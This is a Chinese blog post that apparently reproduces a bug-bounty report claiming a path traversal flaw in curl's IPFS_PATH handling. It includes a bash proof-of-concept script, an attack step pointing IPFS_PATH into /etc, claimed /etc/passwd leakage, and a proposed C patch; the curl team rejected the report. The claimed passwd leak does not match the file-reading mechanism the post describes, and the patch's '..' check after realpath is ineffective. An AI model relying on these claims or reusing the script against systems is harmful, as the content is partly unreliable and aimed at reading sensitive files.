curl IPFS_PATH 环境变量路径遍历漏洞分析

本文详细分析了curl中存在的IPFS_PATH环境变量路径遍历漏洞,攻击者可通过恶意路径序列读取任意文件,导致敏感数据泄露。文章包含漏洞复现步骤、影响场景及修复建议。

curl IPFS_PATH 环境变量路径遍历漏洞分析

漏洞概述

curl版本7.81.0及以上支持IPFS功能中存在路径遍历漏洞。IPFS_PATH环境变量未经过适当清理,攻击者可通过操纵目录遍历序列(如../../../../etc)读取任意文件。此缺陷通过DNS/HTTP错误消息导致敏感数据(如SSH密钥、凭证、系统文件)泄露。

受影响版本

curl 8.13.0(及所有7.81.0+支持IPFS的版本)

漏洞复现步骤

创建数据获取脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/bin/bash

# 1. 创建包含唯一URL类内容的测试文件
TEST_CONTENT="http://LEAKED_DATA_$(date +%s).invalid"
echo "$TEST_CONTENT" > /tmp/test_file.txt

# 2. 设置漏洞利用
EXPLOIT_DIR=$(mktemp -d)
ln -sf /tmp/test_file.txt "$EXPLOIT_DIR/gateway"
export IPFS_PATH="$EXPLOIT_DIR"

# 3. 触发漏洞
echo "[+] Testing exploit - should leak: $TEST_CONTENT"
curl -v ipfs://dummycid 2>&1 | grep -A1 "Could not resolve host"

# 4. 清理
unset IPFS_PATH
rm -rf "$EXPLOIT_DIR" /tmp/test_file.txt

运行脚本

1
2
chmod +x data-fetcher.sh
./data-fetcher.sh

输出结果

1
2
3
4
[+] Testing exploit - should leak: http://LEAKED_DATA_1744992527.invalid
 0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Could not resolve host: LEAKED_DATA_1744992527.invalid
shutting down connection #0
curl: (6) Could not resolve host: LEAKED_DATA_1744992527.invalid

简单示例:文档查看器应用

应用场景

应用允许用户查看IPFS上存储的文件(如ipfs://QmPDF)。

工作原理

1
2
# 应用使用curl获取文件
curl --ipfs-gateway https://trusted-gateway.com ipfs://QmPDF

攻击步骤(无需应用漏洞)

攻击者设置恶意路径:

1
export IPFS_PATH="/tmp/../../../../etc"  # 遍历到/etc

用户正常使用应用(如点击"查看PDF")。

结果

curl读取/etc/passwd而非PDF文件,文件内容通过错误消息泄露:

1
curl: (6) Could not resolve host: root:x:0:0:root:/root:/bin/bash

关键说明

  • 应用无过错:正确使用curl,无代码缺陷或配置错误
  • 攻击者仅需:能够设置环境变量(如共享主机、CI/CD环境)
  • 用户无辜:仅正常使用应用

真实世界类比

想象一个快递应用(curl)盲目信任外部提供的地址(IPFS_PATH)。攻击者诱骗应用将包裹投递到/etc/passwd而非用户家中,导致应用泄露不应访问的敏感邮件(文件)。

缓解措施

  1. 清理IPFS_PATH:
    • 使用realpath()解析绝对路径
    • 阻止目录遍历序列(..)
  2. 默认禁用IPFS:仅在可信环境中启用

CVSS评分

CVSS:3.1: /AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N(高危)

影响

凭证、SSH密钥和系统文件被盗。

技术讨论

curl团队认为此漏洞需要攻击者能够设置环境变量,已超出curl的保护范围。但报告者指出在共享主机、CI/CD管道等受限环境中,攻击者可能通过设置IPFS_PATH绕过隔离机制。

修复建议

在src/tool_ipfs.c中添加路径验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 在src/tool_ipfs.c中
#include <libgen.h>

// 替换易受攻击的代码(第94行):
char *resolved_path = realpath(ipfs_path, NULL);
if (!resolved_path || strstr(resolved_path, "..")) {
  failf(global, "Invalid IPFS_PATH: %s", ipfs_path);
  return CURLE_PATH_CONTAINS_TRAVERSAL;
}
gateway_composed_file_path = aprintf("%s/gateway", resolved_path);
free(resolved_path);

包含漏洞的文件URL:https://github.com/curl/curl/blob/d364f1347f05c53eea5d25a15b4ad8a62ecc85b8/src/tool_ipfs.c#L94

最终状态

curl团队将此报告标记为"不适用",认为环境变量控制已超出curl的安全边界。报告于2025年6月28日公开披露,未分配CVE编号和赏金。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计